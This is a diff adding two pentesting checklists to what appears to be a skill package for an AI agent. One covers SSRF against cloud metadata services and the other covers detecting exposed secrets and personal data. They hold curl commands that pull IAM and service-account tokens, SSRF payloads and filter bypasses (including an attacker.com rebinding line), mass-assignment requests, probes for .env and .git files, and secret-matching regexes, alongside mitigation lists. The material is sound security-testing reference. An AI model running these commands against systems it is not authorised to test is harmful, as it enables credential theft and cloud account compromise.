@soulofzephir/pi-skill-pentesting 1.0.2 → 1.0.5

package/skills/pentesting/checklists/cloud-metadata.md

@@ -0,0 +1,290 @@
+# Cloud Metadata Service Security
+
+## 🔍 What is Cloud Metadata?
+
+Cloud providers expose instance metadata at a well-known IP address. This can contain sensitive information including credentials!
+
+---
+
+## ⚠️ CRITICAL: Metadata Endpoints
+
+### AWS EC2
+```
+http://169.254.169.254/           (latest)
+http://169.254.169.254/2009-04-04/  (specific version)
+http://169.254.169.254/latest/meta-data/
+http://169.254.169.254/latest/user-data/
+```
+
+### Google Cloud Platform (GCP)
+```
+http://metadata.google.internal/computeMetadata/v1/
+http://metadata.google.internal/computeMetadata/v1/instance/
+http://metadata.google.internal/computeMetadata/v1/project/
+```
+
+### Microsoft Azure
+```
+http://169.254.169.254/metadata/instance
+http://169.254.169.254/metadata/instance?api-version=2021-02-01
+```
+
+### DigitalOcean
+```
+http://169.254.169.254/metadata/v1/
+http://169.254.169.254/metadata/v1.json
+```
+
+---
+
+## ⚠️ SSRF to Cloud Metadata - CRITICAL
+
+**Attack Vector:**
+```
+Attacker finds SSRF vulnerability
+    ↓
+Forces application to request metadata endpoint
+    ↓
+Steals cloud credentials
+    ↓
+Full cloud account compromise!
+```
+
+---
+
+## 🧪 Testing Checklist
+
+### Phase 1: SSRF Detection
+- [ ] URL parameters tested (url, src, dest, redirect, uri, path)
+- [ ] POST body parameters tested
+- [ ] HTTP headers tested (Referer, X-Forwarded-For)
+- [ ] File upload (path traversal in filename)
+- [ ] SVG upload (XXE)
+- [ ] XML parsers (XXE)
+
+### Phase 2: Metadata Endpoint Access
+- [ ] AWS metadata accessible?
+- [ ] GCP metadata accessible?
+- [ ] Azure metadata accessible?
+- [ ] DigitalOcean metadata accessible?
+- [ ] Alibaba Cloud metadata accessible?
+
+### Phase 3: Metadata Data Exposed
+- [ ] Instance ID exposed
+- [ ] IAM credentials exposed (AWS role)
+- [ ] IAM token exposed
+- [ ] User data exposed (often contains scripts/config)
+- [ ] SSH keys exposed (GCP)
+- [ ] Service account tokens exposed (GCP)
+
+### Phase 4: Credential Exploitation
+- [ ] IAM role can be assumed
+- [ ] AWS CLI configured with stolen credentials
+- [ ] S3 buckets accessible
+- [ ] Other AWS services accessible
+
+---
+
+## 🔧 Testing Commands
+
+### AWS Metadata Check
+```bash
+# Basic metadata access
+curl http://169.254.169.254/latest/meta-data/
+curl http://169.254.169.254/latest/user-data/
+
+# IAM credentials (if vulnerable)
+curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
+curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME
+
+# Get token (newer versions)
+curl -X PUT http://169.254.169.254/latest/api/token -H "X-aws-ec2-metadata-token: true"
+```
+
+### GCP Metadata Check
+```bash
+# Must include header
+curl -H "Metadata-Flavor: Google" http://metadata.google.internal/computeMetadata/v1/
+
+# Instance info
+curl -H "Metadata-Flavor: Google" http://metadata.google.internal/computeMetadata/v1/instance/id
+
+# Service account
+curl -H "Metadata-Flavor: Google" http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/
+
+# Access token (if vulnerable!)
+curl -H "Metadata-Flavor: Google" "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"
+```
+
+### Azure Metadata Check
+```bash
+# Requires API version
+curl -H "Metadata: true" "http://169.254.169.254/metadata/instance?api-version=2021-02-01"
+
+# Managed identity token
+curl -H "Metadata: true" "http://169.254.169.254/metadata/identity/oauth2/token?resource=https://management.azure.com"
+```
+
+### DigitalOcean Metadata
+```bash
+curl http://169.254.169.254/metadata/v1.json
+curl http://169.254.169.254/metadata/v1/user-data
+```
+
+---
+
+## 🔧 SSRF Payloads for Metadata
+
+### Basic
+```
+http://169.254.169.254/
+http://169.254.169.254/latest/meta-data/
+http://169.254.169.254/latest/user-data/
+```
+
+### With Headers
+```bash
+# AWS - get token first
+curl -X PUT -H "X-aws-ec2-metadata-token: anything" http://target.com/url?param=http://169.254.169.254/latest/meta-data/
+
+# GCP - require header
+curl -H "Metadata-Flavor: Google" http://target.com/url?param=http://metadata.google.internal/
+```
+
+### Bypass Filters
+```bash
+# IP encoding
+http://127.0.0.1
+http://2130706433 (decimal)
+http://0x7f000001 (hex)
+http://[::1]
+
+# URL encoding
+http://169.254.169.254 → http://%31%36%39.%32%35%34.%31%36%39.%32%35%34
+
+# DNS rebinding
+http://attacker.com -> points to 169.254.169.254
+
+# Open redirect
+http://target.com/redirect?url=http://169.254.169.254/
+```
+
+---
+
+## 📋 SSRF Test Parameters
+
+Common parameter names to test:
+```
+url
+src
+source
+uri
+link
+redirect
+path
+continue
+url
+window
+next
+data
+reference
+spider
+baseUrl
+xml
+view
+doc
+site
+html
+feed
+host
+port
+to
+out
+view
+dir
+show
+navigation
+open
+file
+val
+validate
+domain
+callback
+return
+page
+feed
+host
+pass
+data
+address
+link
+url
+```
+
+---
+
+## 🛡️ Cloud Metadata Protection Checklist
+
+### For Cloud Providers (Disable IMDS)
+```bash
+# AWS - require IMDSv2
+aws ec2 modify-instance-metadata-options \
+    --instance-id i-1234567890abcdef0 \
+    --http-tokens required \
+    --http-put-response-hop-limit 1
+
+# GCP - disable via metadata server
+# No direct disable, but use:
+# - Service account with minimal permissions
+# - No legacy endpoints
+# - VPC firewall rules
+
+# Azure
+# Use IMDS with managed identity
+# Restrict via firewall
+```
+
+### For Application Developers
+- [ ] Validate all user input
+- [ ] Use allowlist for URLs
+- [ ] Block private IP ranges
+- [ ] Disable unnecessary URL schemas
+- [ ] Use security library (no direct URL fetching)
+- [ ] Implement SSRF protection
+- [ ] Log SSRF attempts
+
+### For Cloud Security
+- [ ] Use IMDSv2 (AWS)
+- [ ] Use service accounts with minimal privileges
+- [ ] No long-lived credentials in instance metadata
+- [ ] Regular audit of IAM roles
+- [ ] Enable VPC endpoints
+- [ ] Network segmentation
+
+---
+
+## 📊 Risk Assessment
+
+| Finding | Severity | CVSS |
+|---------|----------|------|
+| AWS metadata accessible | 🔴 CRITICAL | 10.0 |
+| GCP service account token stolen | 🔴 CRITICAL | 10.0 |
+| Azure managed identity exploited | 🔴 CRITICAL | 9.8 |
+| Arbitrary file read (metadata) | 🔴 CRITICAL | 9.8 |
+| SSRF without credentials | 🟠 HIGH | 8.6 |
+
+---
+
+## 🚨 Real-World Impact
+
+```
+1. Attacker finds SSRF in web app
+2. Attacker requests AWS metadata
+3. Attacker steals IAM credentials
+4. Attacker assumes admin role
+5. Attacker has full AWS access
+6. Attacker exfiltrates all data
+7. Attacker creates backdoor
+```
+
+**Prevention:** Always assume SSRF exists, protect metadata endpoints!

package/skills/pentesting/checklists/sensitive-data.md

@@ -0,0 +1,323 @@
+# Sensitive Data Exposure Detection
+
+## 🔍 What is Sensitive Data?
+
+Data that must be protected from unauthorized access:
+- Personal Identifiable Information (PII)
+- Financial data
+- Authentication credentials
+- Healthcare information
+- Business secrets
+
+---
+
+## ⚠️ Common Sources of Data Exposure
+
+### 1. Source Code Exposure
+```
+.git/ directory
+_backup.zip
+*.bak
+*.swp
+*.tmp
+```
+
+### 2. Configuration Files
+```
+.env
+config.php
+wp-config.php
+settings.py
+application.properties
+```
+
+### 3. API Responses
+```
+Excessive data exposure
+Missing field filtering
+Debug responses
+```
+
+### 4. Client-Side Data
+```
+JavaScript source maps
+localStorage/sessionStorage
+Cookies
+URL parameters
+```
+
+---
+
+## 🧪 Testing Checklist
+
+### Phase 1: Sensitive Files
+- [ ] `.env` files exposed
+- [ ] `.git/` directory accessible
+- [ ] Backup files exposed
+- [ ] Configuration files accessible
+- [ ] Database dumps exposed
+
+### Phase 2: Source Code
+- [ ] Source maps (.map) exposed
+- [ ] JavaScript source code analyzed
+- [ ] Debug endpoints accessible
+- [ ] Swagger/OpenAPI docs exposed
+- [ ] Internal paths in JS
+
+### Phase 3: API Responses
+- [ ] Full data returned vs needed
+- [ ] Hidden fields in JSON
+- [ ] Passwords in responses
+- [ ] Internal IDs exposed
+- [ ] Stack traces in errors
+
+### Phase 4: Client Storage
+- [ ] Sensitive data in localStorage
+- [ ] Sensitive data in sessionStorage
+- [ ] Sensitive data in cookies
+- [ ] Sensitive data in URL
+- [ ] Browser history
+
+### Phase 5: Credentials Detection
+- [ ] API keys in source code
+- [ ] AWS credentials in source
+- [ ] Private keys exposed
+- [ ] Database passwords
+- [ ] JWT tokens
+
+### Phase 6: PII Exposure
+- [ ] Email addresses
+- [ ] Phone numbers
+- [ ] Physical addresses
+- [ ] Social security numbers
+- [ ] Dates of birth
+
+---
+
+## 🔧 Detection Tools
+
+### grep for Secrets
+```bash
+# Search for API keys
+grep -r "api_key\|apikey\|api-key" . --include="*.js" --include="*.json"
+grep -r "aws_access_key\|aws_secret" . --include="*.py" --include="*.js"
+grep -r "password\|pwd\|pass" . --include="*.js" --include="*.json"
+
+# Search for tokens
+grep -r "token\|bearer\|authorization" . --include="*.js" --include="*.json"
+
+# Search for private keys
+grep -r "BEGIN RSA PRIVATE KEY\|BEGIN PRIVATE KEY" .
+```
+
+### trufflehog (Secrets Scanner)
+```bash
+# Scan git repo
+trufflehog git https://github.com/target/repo.git
+
+# Scan filesystem
+trufflehog filesystem .
+
+# Scan S3 bucket
+trufflehog s3 --bucket=bucket-name
+
+# Scan GitHub org
+trufflehog github --org=target-org
+```
+
+### gitrob (GitHub Recon)
+```bash
+gitrob target --no-gist
+```
+
+### gitleaks (Secret Scanner)
+```bash
+# Scan repo
+gitleaks detect --source .
+
+# Scan with config
+gitleaks detect --source . --config gitleaks.toml
+```
+
+### shhgit (Real-time GitHub Scanning)
+```bash
+shhgit -domain github.com -search-keyword "target"
+```
+
+---
+
+## 🔧 Pattern Detection
+
+### API Keys & Tokens
+```
+AKIA[0-9A-Z]{16}                 → AWS Access Key
+[0-9a-zA-Z+/]{40}                → AWS Secret Key (base64)
+AIza[0-9A-Za-z_-]{35}            → Google API Key
+sk_live_[0-9a-z]{24,32}          → Stripe
+sk_test_[0-9a-z]{24,32}          → Stripe Test
+ghp_[0-9a-zA-Z]{36}              → GitHub Personal Access Token
+xox[baprs]-[0-9a-zA-Z]{10,}       → Slack Token
+```
+
+### Password Patterns
+```
+password=.*
+pwd=.*
+pass=.*
+secret=.*
+credential=.*
+```
+
+### Private Keys
+```
+-----BEGIN RSA PRIVATE KEY-----
+-----BEGIN EC PRIVATE KEY-----
+-----BEGIN PRIVATE KEY-----
+-----BEGIN OPENSSH PRIVATE KEY-----
+```
+
+### JWT Tokens
+```
+eyJ[0-9A-Za-z_-]*\.eyJ[0-9A-Za-z_-]*\.[0-9A-Za-z_-]*
+```
+
+---
+
+## 🔧 File Patterns to Check
+
+```bash
+# Configuration
+find . -name ".env*" -o -name "*.config*" -o -name "config.*"
+find . -name "*.php" -o -name "*.py" -o -name "*.js"
+
+# Backups
+find . -name "*.bak" -o -name "*.backup" -o -name "*.old"
+find . -name "*.zip" -o -name "*.tar" -o -name "*.tar.gz"
+
+# Source control
+find . -name ".git" -type d
+find . -name ".svn" -type d
+
+# Keys
+find . -name "*.pem" -o -name "*.key" -o -name "*.p12"
+```
+
+---
+
+## 📋 Data Classification
+
+| Type | Sensitivity | Examples |
+|------|------------|----------|
+| 🔴 Critical | Highest | Passwords, Private Keys, SSN |
+| 🟠 High | High | API Keys, Tokens, Credit Cards |
+| 🟡 Medium | Medium | Email, Phone, Addresses |
+| 🟢 Low | Low | Public data |
+
+---
+
+## 🛠️ API Response Analysis
+
+### Test for Excessive Data
+```bash
+# Get user profile - should only return needed fields
+curl -X GET /api/user/123
+
+# Check if returns:
+# - Password hash
+# - Internal IDs
+# - Debug info
+# - Other users' data
+```
+
+### Test for Hidden Fields
+```html
+<!-- Check HTML forms for hidden inputs -->
+<input type="hidden" name="admin" value="true">
+<input type="hidden" name="role" value="user">
+
+# Change hidden field values
+curl -X POST /api/update -d "role=admin" -d "user_id=123"
+```
+
+### Test for Mass Assignment
+```bash
+# Try adding extra fields
+curl -X POST /api/user -d "name=test&email=test@test.com&admin=true"
+curl -X PUT /api/user/123 -d "balance=1000&admin=true"
+```
+
+---
+
+## 📊 Exposure Risk Matrix
+
+| Exposure Type | Risk | CVSS |
+|---------------|------|------|
+| Database credentials | 🔴 CRITICAL | 9.8 |
+| AWS keys exposed | 🔴 CRITICAL | 9.8 |
+| Private keys | 🔴 CRITICAL | 9.8 |
+| API keys exposed | 🟠 HIGH | 7.5 |
+| PII in logs | 🟠 HIGH | 7.1 |
+| Token in URL | 🟡 MEDIUM | 6.5 |
+| Debug info | 🟡 MEDIUM | 5.3 |
+
+---
+
+## 🛡️ Prevention Checklist
+
+### Source Code
+- [ ] .git/ blocked by web server
+- [ ] No backup files in web root
+- [ ] Source maps disabled in production
+- [ ] No secrets in code
+
+### API Responses
+- [ ] Only return needed fields
+- [ ] No passwords/tokens in responses
+- [ ] No internal IDs
+- [ ] Error handling doesn't leak info
+
+### Client Storage
+- [ ] No sensitive data in localStorage
+- [ ] Cookies HttpOnly + Secure
+- [ ] No sensitive data in URL
+
+### Secrets Management
+- [ ] Use environment variables
+- [ ] Use secret management services
+- [ ] Rotate secrets regularly
+- [ ] No default passwords
+
+---
+
+## 🔍 Quick Scan Commands
+
+```bash
+# Search for secrets in JS files
+grep -rn "password\|api_key\|secret\|token" --include="*.js" .
+
+# Check for exposed .env
+curl -s target.com/.env | head -20
+
+# Check for git directory
+curl -s target.com/.git/config
+
+# Check for backups
+curl -s target.com/backup.zip -o /dev/null -w "%{http_code}"
+
+# Check API response for sensitive data
+curl -s /api/user/1 | jq 'keys'
+```
+
+---
+
+## 📋 Sensitive Data Checklist Summary
+
+| Check | Status | Severity |
+|-------|--------|----------|
+| .env exposed | ☐ | 🔴 CRITICAL |
+| .git accessible | ☐ | 🔴 CRITICAL |
+| API keys in JS | ☐ | 🟠 HIGH |
+| Passwords in response | ☐ | 🔴 CRITICAL |
+| PII exposed | ☐ | 🟠 HIGH |
+| Token in URL | ☐ | 🟡 MEDIUM |
+| Debug mode | ☐ | 🟠 HIGH |